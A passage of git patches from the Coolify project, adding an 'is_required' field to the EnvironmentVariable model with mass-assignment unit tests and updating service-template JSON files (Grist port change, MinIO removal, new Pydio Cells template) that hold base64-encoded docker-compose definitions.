+ + // Step 2: Split on outer operator + $split = splitOnOperatorOutsideNested($result['content']); + assertNotNull($split); + expect($split['variable'])->toBe('APP_URL') + ->and($split['default'])->toBe('${SERVICE_URL_APP}/v${API_VERSION:-2}/health'); + + // Step 3: Find all nested variables in default + $default = $split['default']; + $nestedVars = []; + $pos = 0; + while (($nested = extractBalancedBraceContent($default, $pos)) !== null) { + $innerSplit = splitOnOperatorOutsideNested($nested['content']); + $nestedVars[] = [ + 'name' => $innerSplit !== null ? $innerSplit['variable'] : $nested['content'], + 'default' => $innerSplit !== null ? $innerSplit['default'] : null, + ]; + $pos = $nested['end'] + 1; + } + + expect($nestedVars)->toHaveCount(2) + ->and($nestedVars[0]['name'])->toBe('SERVICE_URL_APP') + ->and($nestedVars[0]['default'])->toBeNull() + ->and($nestedVars[1]['name'])->toBe('API_VERSION') + ->and($nestedVars[1]['default'])->toBe('2'); +}); From 1234463fcaee2f991be0c7119a2fc34432204d28 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 2 Mar 2026 12:34:30 +0100 Subject: [PATCH 125/305] feat(models): add is_required to EnvironmentVariable fillable array Add is_required field to the EnvironmentVariable model's fillable array to allow mass assignment. Include comprehensive tests to verify all fillable fields are properly configured for mass assignment. --- app/Models/EnvironmentVariable.php | 1 + .../Unit/EnvironmentVariableFillableTest.php | 72 +++++++++++++++++++ 2 files changed, 73 insertions(+) create mode 100644 tests/Unit/EnvironmentVariableFillableTest.php diff --git a/app/Models/EnvironmentVariable.php b/app/Models/EnvironmentVariable.php index f731eba22..0a004f765 100644 --- a/app/Models/EnvironmentVariable.php +++ b/app/Models/EnvironmentVariable.php @@ -50,6 +50,7 @@ class EnvironmentVariable extends BaseModel 'is_buildtime', 'is_shown_once', 'is_shared', + 'is_required', // Metadata 'version', diff --git a/tests/Unit/EnvironmentVariableFillableTest.php b/tests/Unit/EnvironmentVariableFillableTest.php new file mode 100644 index 000000000..8c5f68b21 --- /dev/null +++ b/tests/Unit/EnvironmentVariableFillableTest.php @@ -0,0 +1,72 @@ +getFillable(); + + // Core identification + expect($fillable)->toContain('key') + ->toContain('value') + ->toContain('comment'); + + // Polymorphic relationship + expect($fillable)->toContain('resourceable_type') + ->toContain('resourceable_id'); + + // Boolean flags — all used in create/firstOrCreate/updateOrCreate calls + expect($fillable)->toContain('is_preview') + ->toContain('is_multiline') + ->toContain('is_literal') + ->toContain('is_runtime') + ->toContain('is_buildtime') + ->toContain('is_shown_once') + ->toContain('is_shared') + ->toContain('is_required'); + + // Metadata + expect($fillable)->toContain('version') + ->toContain('order'); +}); + +test('is_required can be mass assigned', function () { + $model = new EnvironmentVariable; + $model->fill(['is_required' => true]); + + expect($model->is_required)->toBeTrue(); +}); + +test('all boolean flags can be mass assigned', function () { + $booleanFlags = [ + 'is_preview', + 'is_multiline', + 'is_literal', + 'is_runtime', + 'is_buildtime', + 'is_shown_once', + 'is_required', + ]; + + $model = new EnvironmentVariable; + $model->fill(array_fill_keys($booleanFlags, true)); + + foreach ($booleanFlags as $flag) { + expect($model->$flag)->toBeTrue("Expected {$flag} to be mass assignable and set to true"); + } + + // is_shared has a computed getter derived from the value field, + // so verify it's fillable via the underlying attributes instead + $model2 = new EnvironmentVariable; + $model2->fill(['is_shared' => true]); + expect($model2->getAttributes())->toHaveKey('is_shared'); +}); + +test('non-fillable fields are rejected by mass assignment', function () { + $model = new EnvironmentVariable; + $model->fill(['id' => 999, 'uuid' => 'injected', 'created_at' => 'injected']); + + expect($model->id)->toBeNull() + ->and($model->uuid)->toBeNull() + ->and($model->created_at)->toBeNull(); +}); From 2dc05975627a5e23057af353eff7b047434d6ca1 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 2 Mar 2026 13:31:48 +0100 Subject: [PATCH 126/305] test(rollback): use full-length git commit SHA values in test fixtures Update test data to use complete 40-character git commit SHA hashes instead of abbreviated 12-character values. --- templates/service-templates-latest.json | 31 ++++++++++------------- templates/service-templates.json | 31 ++++++++++------------- tests/Feature/ApplicationRollbackTest.php | 8 +++--- 3 files changed, 32 insertions(+), 38 deletions(-) diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index a9f653460..e343e6293 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -1891,7 +1891,7 @@ "grist": { "documentation": "https://support.getgrist.com/?utm_source=coolify.io", "slogan": "Grist is a modern relational spreadsheet. It combines the flexibility of a spreadsheet with the robustness of a database.", - "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUklTVF80NDMKICAgICAgLSAnQVBQX0hPTUVfVVJMPSR7U0VSVklDRV9VUkxfR1JJU1R9JwogICAgICAtICdBUFBfRE9DX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfScKICAgICAgLSAnR1JJU1RfRE9NQUlOPSR7U0VSVklDRV9VUkxfR1JJU1R9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtICdHUklTVF9TVVBQT1JUX0FOT049JHtTVVBQT1JUX0FOT046LWZhbHNlfScKICAgICAgLSAnR1JJU1RfRk9SQ0VfTE9HSU49JHtGT1JDRV9MT0dJTjotdHJ1ZX0nCiAgICAgIC0gJ0NPT0tJRV9NQVhfQUdFPSR7Q09PS0lFX01BWF9BR0U6LTg2NDAwMDAwfScKICAgICAgLSAnR1JJU1RfUEFHRV9USVRMRV9TVUZGSVg9JHtQQUdFX1RJVExFX1NVRkZJWDotIC0gU3VmZml4fScKICAgICAgLSAnR1JJU1RfSElERV9VSV9FTEVNRU5UUz0ke0hJREVfVUlfRUxFTUVOVFM6LWJpbGxpbmcsc2VuZFRvRHJpdmUsc3VwcG9ydEdyaXN0LG11bHRpQWNjb3VudHMsdHV0b3JpYWxzfScKICAgICAgLSAnR1JJU1RfVUlfRkVBVFVSRVM9JHtVSV9GRUFUVVJFUzotaGVscENlbnRlcixiaWxsaW5nLHRlbXBsYXRlcyxjcmVhdGVTaXRlLG11bHRpU2l0ZSxzZW5kVG9Ecml2ZSx0dXRvcmlhbHMsc3VwcG9ydEdyaXN0fScKICAgICAgLSAnR1JJU1RfREVGQVVMVF9FTUFJTD0ke0RFRkFVTFRfRU1BSUw6LXRlc3RAZXhhbXBsZS5jb219JwogICAgICAtICdHUklTVF9PUkdfSU5fUEFUSD0ke09SR19JTl9QQVRIOi10cnVlfScKICAgICAgLSAnR1JJU1RfT0lEQ19TUF9IT1NUPSR7U0VSVklDRV9VUkxfR1JJU1R9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TQ09QRVM9JHtPSURDX0lEUF9TQ09QRVM6LW9wZW5pZCBwcm9maWxlIGVtYWlsfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVD0ke09JRENfSURQX1NLSVBfRU5EX1NFU1NJT05fRU5EUE9JTlQ6LWZhbHNlfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfSVNTVUVSPSR7T0lEQ19JRFBfSVNTVUVSOj99JwogICAgICAtICdHUklTVF9PSURDX0lEUF9DTElFTlRfSUQ9JHtPSURDX0lEUF9DTElFTlRfSUQ6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9TRUNSRVQ9JHtPSURDX0lEUF9DTElFTlRfU0VDUkVUOj99JwogICAgICAtICdHUklTVF9TRVNTSU9OX1NFQ1JFVD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF8xMjh9JwogICAgICAtICdHUklTVF9IT01FX0lOQ0xVREVfU1RBVElDPSR7SE9NRV9JTkNMVURFX1NUQVRJQzotdHJ1ZX0nCiAgICAgIC0gJ0dSSVNUX1NBTkRCT1hfRkxBVk9SPSR7U0FOREJPWF9GTEFWT1I6LWd2aXNvcn0nCiAgICAgIC0gJ0FMTE9XRURfV0VCSE9PS19ET01BSU5TPSR7QUxMT1dFRF9XRUJIT09LX0RPTUFJTlN9JwogICAgICAtICdDT01NRU5UUz0ke0NPTU1FTlRTOi10cnVlfScKICAgICAgLSAnVFlQRU9STV9UWVBFPSR7VFlQRU9STV9UWVBFOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1RZUEVPUk1fREFUQUJBU0U9JHtQT1NUR1JFU19EQVRBQkFTRTotZ3Jpc3QtZGJ9JwogICAgICAtICdUWVBFT1JNX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnVFlQRU9STV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX0hPU1Q9JHtUWVBFT1JNX0hPU1R9JwogICAgICAtICdUWVBFT1JNX1BPUlQ9JHtUWVBFT1JNX1BPUlQ6LTU0MzJ9JwogICAgICAtICdUWVBFT1JNX0xPR0dJTkc9JHtUWVBFT1JNX0xPR0dJTkc6LWZhbHNlfScKICAgICAgLSAnUkVESVNfVVJMPSR7UkVESVNfVVJMOi1yZWRpczovL3JlZGlzOjYzNzl9JwogICAgICAtICdHUklTVF9IRUxQX0NFTlRFUj0ke1NFUlZJQ0VfVVJMX0dSSVNUfS9oZWxwJwogICAgICAtICdHUklTVF9URVJNU19PRl9TRVJWSUNFX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfS90ZXJtcycKICAgICAgLSAnRlJFRV9DT0FDSElOR19DQUxMX1VSTD0ke0ZSRUVfQ09BQ0hJTkdfQ0FMTF9VUkx9JwogICAgICAtICdHUklTVF9DT05UQUNUX1NVUFBPUlRfVVJMPSR7Q09OVEFDVF9TVVBQT1JUX1VSTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdC1kYXRhOi9wZXJzaXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBub2RlCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAicmVxdWlyZSgnaHR0cCcpLmdldCgnaHR0cDovL2xvY2FsaG9zdDo4NDg0L3N0YXR1cycsIHJlcyA9PiBwcm9jZXNzLmV4aXQocmVzLnN0YXR1c0NvZGUgPT09IDIwMCA/IDAgOiAxKSkiCiAgICAgICAgLSAnPiAvZGV2L251bGwgMj4mMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNicKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3RfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcnCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdF9yZWRpc19kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==", + "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUklTVF84NDg0CiAgICAgIC0gJ0FQUF9IT01FX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfScKICAgICAgLSAnQVBQX0RPQ19VUkw9JHtTRVJWSUNFX1VSTF9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0dSSVNUX1NVUFBPUlRfQU5PTj0ke1NVUFBPUlRfQU5PTjotZmFsc2V9JwogICAgICAtICdHUklTVF9GT1JDRV9MT0dJTj0ke0ZPUkNFX0xPR0lOOi10cnVlfScKICAgICAgLSAnQ09PS0lFX01BWF9BR0U9JHtDT09LSUVfTUFYX0FHRTotODY0MDAwMDB9JwogICAgICAtICdHUklTVF9QQUdFX1RJVExFX1NVRkZJWD0ke1BBR0VfVElUTEVfU1VGRklYOi0gLSBTdWZmaXh9JwogICAgICAtICdHUklTVF9ISURFX1VJX0VMRU1FTlRTPSR7SElERV9VSV9FTEVNRU5UUzotYmlsbGluZyxzZW5kVG9Ecml2ZSxzdXBwb3J0R3Jpc3QsbXVsdGlBY2NvdW50cyx0dXRvcmlhbHN9JwogICAgICAtICdHUklTVF9VSV9GRUFUVVJFUz0ke1VJX0ZFQVRVUkVTOi1oZWxwQ2VudGVyLGJpbGxpbmcsdGVtcGxhdGVzLGNyZWF0ZVNpdGUsbXVsdGlTaXRlLHNlbmRUb0RyaXZlLHR1dG9yaWFscyxzdXBwb3J0R3Jpc3R9JwogICAgICAtICdHUklTVF9ERUZBVUxUX0VNQUlMPSR7REVGQVVMVF9FTUFJTDotP30nCiAgICAgIC0gJ0dSSVNUX09SR19JTl9QQVRIPSR7T1JHX0lOX1BBVEg6LXRydWV9JwogICAgICAtICdHUklTVF9PSURDX1NQX0hPU1Q9JHtTRVJWSUNFX1VSTF9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX1NDT1BFUz0ke09JRENfSURQX1NDT1BFUzotb3BlbmlkIHByb2ZpbGUgZW1haWx9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TS0lQX0VORF9TRVNTSU9OX0VORFBPSU5UPSR7T0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVDotZmFsc2V9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9JU1NVRVI9JHtPSURDX0lEUF9JU1NVRVI6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9JRD0ke09JRENfSURQX0NMSUVOVF9JRDo/fScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfQ0xJRU5UX1NFQ1JFVD0ke09JRENfSURQX0NMSUVOVF9TRUNSRVQ6P30nCiAgICAgIC0gJ0dSSVNUX1NFU1NJT05fU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0XzEyOH0nCiAgICAgIC0gJ0dSSVNUX0hPTUVfSU5DTFVERV9TVEFUSUM9JHtIT01FX0lOQ0xVREVfU1RBVElDOi10cnVlfScKICAgICAgLSAnR1JJU1RfU0FOREJPWF9GTEFWT1I9JHtTQU5EQk9YX0ZMQVZPUjotZ3Zpc29yfScKICAgICAgLSAnQUxMT1dFRF9XRUJIT09LX0RPTUFJTlM9JHtBTExPV0VEX1dFQkhPT0tfRE9NQUlOU30nCiAgICAgIC0gJ0NPTU1FTlRTPSR7Q09NTUVOVFM6LXRydWV9JwogICAgICAtICdUWVBFT1JNX1RZUEU9JHtUWVBFT1JNX1RZUEU6LXBvc3RncmVzfScKICAgICAgLSAnVFlQRU9STV9EQVRBQkFTRT0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1RZUEVPUk1fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1RZUEVPUk1fSE9TVD0ke1RZUEVPUk1fSE9TVDotcG9zdGdyZXN9JwogICAgICAtICdUWVBFT1JNX1BPUlQ9JHtUWVBFT1JNX1BPUlQ6LTU0MzJ9JwogICAgICAtICdUWVBFT1JNX0xPR0dJTkc9JHtUWVBFT1JNX0xPR0dJTkc6LWZhbHNlfScKICAgICAgLSAnUkVESVNfVVJMPSR7UkVESVNfVVJMOi1yZWRpczovL3JlZGlzOjYzNzl9JwogICAgICAtICdHUklTVF9IRUxQX0NFTlRFUj0ke1NFUlZJQ0VfVVJMX0dSSVNUfS9oZWxwJwogICAgICAtICdHUklTVF9URVJNU19PRl9TRVJWSUNFX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfS90ZXJtcycKICAgICAgLSAnRlJFRV9DT0FDSElOR19DQUxMX1VSTD0ke0ZSRUVfQ09BQ0hJTkdfQ0FMTF9VUkx9JwogICAgICAtICdHUklTVF9DT05UQUNUX1NVUFBPUlRfVVJMPSR7Q09OVEFDVF9TVVBQT1JUX1VSTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdC1kYXRhOi9wZXJzaXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBub2RlCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAicmVxdWlyZSgnaHR0cCcpLmdldCgnaHR0cDovL2xvY2FsaG9zdDo4NDg0L3N0YXR1cycsIHJlcyA9PiBwcm9jZXNzLmV4aXQocmVzLnN0YXR1c0NvZGUgPT09IDIwMCA/IDAgOiAxKSkiCiAgICAgICAgLSAnPiAvZGV2L251bGwgMj4mMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNicKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3RfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcnCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdF9yZWRpc19kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==", "tags": [ "lowcode", "nocode", @@ -1902,7 +1902,7 @@ "category": "productivity", "logo": "svgs/grist.svg", "minversion": "0.0.0", - "port": "443" + "port": "8484" }, "grocy": { "documentation": "https://github.com/grocy/grocy?utm_source=coolify.io", @@ -2830,21 +2830,6 @@ "minversion": "0.0.0", "port": "8080" }, - "minio-community-edition": { - "documentation": "https://github.com/coollabsio/minio?tab=readme-ov-file#minio-docker-images?utm_source=coolify.io", - "slogan": "MinIO is a high performance object storage server compatible with Amazon S3 APIs.", - "compose": "c2VydmljZXM6CiAgbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgY29tbWFuZDogJ3NlcnZlciAvZGF0YSAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTUlOSU9fU0VSVkVSX1VSTD0kTUlOSU9fU0VSVkVSX1VSTAogICAgICAtIE1JTklPX0JST1dTRVJfUkVESVJFQ1RfVVJMPSRNSU5JT19CUk9XU0VSX1JFRElSRUNUX1VSTAogICAgICAtIE1JTklPX1JPT1RfVVNFUj0kU0VSVklDRV9VU0VSX01JTklPCiAgICAgIC0gTUlOSU9fUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAnbWluaW8tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", - "tags": [ - "object", - "storage", - "server", - "s3", - "api" - ], - "category": "storage", - "logo": "svgs/minio.svg", - "minversion": "0.0.0" - }, "mixpost": { "documentation": "https://docs.mixpost.app/lite?utm_source=coolify.io", "slogan": "Mixpost is a robust and versatile social media management software, designed to streamline social media operations and enhance content marketing strategies.", @@ -5246,5 +5231,17 @@ "logo": "svgs/marimo.svg", "minversion": "0.0.0", "port": "8080" + }, + "pydio-cells": { + "documentation": "https://docs.pydio.com/?utm_source=coolify.io", + "slogan": "High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance.", + "compose": "c2VydmljZXM6CiAgY2VsbHM6CiAgICBpbWFnZTogJ3B5ZGlvL2NlbGxzOjQuNCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NFTExTXzgwODAKICAgICAgLSAnQ0VMTFNfU0lURV9FWFRFUk5BTD0ke1NFUlZJQ0VfVVJMX0NFTExTfScKICAgICAgLSBDRUxMU19TSVRFX05PX1RMUz0xCiAgICB2b2x1bWVzOgogICAgICAtICdjZWxsc19kYXRhOi92YXIvY2VsbHMnCiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ215c3FsX2RhdGE6L3Zhci9saWIvbXlzcWwnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTVlTUUxfUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UfScKICAgICAgLSAnTVlTUUxfREFUQUJBU0U9JHtNWVNRTF9EQVRBQkFTRTotY2VsbHN9JwogICAgICAtICdNWVNRTF9VU0VSPSR7U0VSVklDRV9VU0VSX01ZU1FMfScKICAgICAgLSAnTVlTUUxfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogNQo=", + "tags": [ + "storage" + ], + "category": null, + "logo": "svgs/cells.svg", + "minversion": "0.0.0", + "port": "8080" } } diff --git a/templates/service-templates.json b/templates/service-templates.json index 580834a21..2a08e7b4b 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -1891,7 +1891,7 @@ "grist": { "documentation": "https://support.getgrist.com/?utm_source=coolify.io", "slogan": "Grist is a modern relational spreadsheet. It combines the flexibility of a spreadsheet with the robustness of a database.", - "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR1JJU1RfNDQzCiAgICAgIC0gJ0FQUF9IT01FX1VSTD0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ0FQUF9ET0NfVVJMPSR7U0VSVklDRV9GUUROX0dSSVNUfScKICAgICAgLSAnR1JJU1RfRE9NQUlOPSR7U0VSVklDRV9GUUROX0dSSVNUfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSAnR1JJU1RfU1VQUE9SVF9BTk9OPSR7U1VQUE9SVF9BTk9OOi1mYWxzZX0nCiAgICAgIC0gJ0dSSVNUX0ZPUkNFX0xPR0lOPSR7Rk9SQ0VfTE9HSU46LXRydWV9JwogICAgICAtICdDT09LSUVfTUFYX0FHRT0ke0NPT0tJRV9NQVhfQUdFOi04NjQwMDAwMH0nCiAgICAgIC0gJ0dSSVNUX1BBR0VfVElUTEVfU1VGRklYPSR7UEFHRV9USVRMRV9TVUZGSVg6LSAtIFN1ZmZpeH0nCiAgICAgIC0gJ0dSSVNUX0hJREVfVUlfRUxFTUVOVFM9JHtISURFX1VJX0VMRU1FTlRTOi1iaWxsaW5nLHNlbmRUb0RyaXZlLHN1cHBvcnRHcmlzdCxtdWx0aUFjY291bnRzLHR1dG9yaWFsc30nCiAgICAgIC0gJ0dSSVNUX1VJX0ZFQVRVUkVTPSR7VUlfRkVBVFVSRVM6LWhlbHBDZW50ZXIsYmlsbGluZyx0ZW1wbGF0ZXMsY3JlYXRlU2l0ZSxtdWx0aVNpdGUsc2VuZFRvRHJpdmUsdHV0b3JpYWxzLHN1cHBvcnRHcmlzdH0nCiAgICAgIC0gJ0dSSVNUX0RFRkFVTFRfRU1BSUw9JHtERUZBVUxUX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnR1JJU1RfT1JHX0lOX1BBVEg9JHtPUkdfSU5fUEFUSDotdHJ1ZX0nCiAgICAgIC0gJ0dSSVNUX09JRENfU1BfSE9TVD0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX1NDT1BFUz0ke09JRENfSURQX1NDT1BFUzotb3BlbmlkIHByb2ZpbGUgZW1haWx9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TS0lQX0VORF9TRVNTSU9OX0VORFBPSU5UPSR7T0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVDotZmFsc2V9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9JU1NVRVI9JHtPSURDX0lEUF9JU1NVRVI6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9JRD0ke09JRENfSURQX0NMSUVOVF9JRDo/fScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfQ0xJRU5UX1NFQ1JFVD0ke09JRENfSURQX0NMSUVOVF9TRUNSRVQ6P30nCiAgICAgIC0gJ0dSSVNUX1NFU1NJT05fU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0XzEyOH0nCiAgICAgIC0gJ0dSSVNUX0hPTUVfSU5DTFVERV9TVEFUSUM9JHtIT01FX0lOQ0xVREVfU1RBVElDOi10cnVlfScKICAgICAgLSAnR1JJU1RfU0FOREJPWF9GTEFWT1I9JHtTQU5EQk9YX0ZMQVZPUjotZ3Zpc29yfScKICAgICAgLSAnQUxMT1dFRF9XRUJIT09LX0RPTUFJTlM9JHtBTExPV0VEX1dFQkhPT0tfRE9NQUlOU30nCiAgICAgIC0gJ0NPTU1FTlRTPSR7Q09NTUVOVFM6LXRydWV9JwogICAgICAtICdUWVBFT1JNX1RZUEU9JHtUWVBFT1JNX1RZUEU6LXBvc3RncmVzfScKICAgICAgLSAnVFlQRU9STV9EQVRBQkFTRT0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1RZUEVPUk1fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1RZUEVPUk1fSE9TVD0ke1RZUEVPUk1fSE9TVH0nCiAgICAgIC0gJ1RZUEVPUk1fUE9S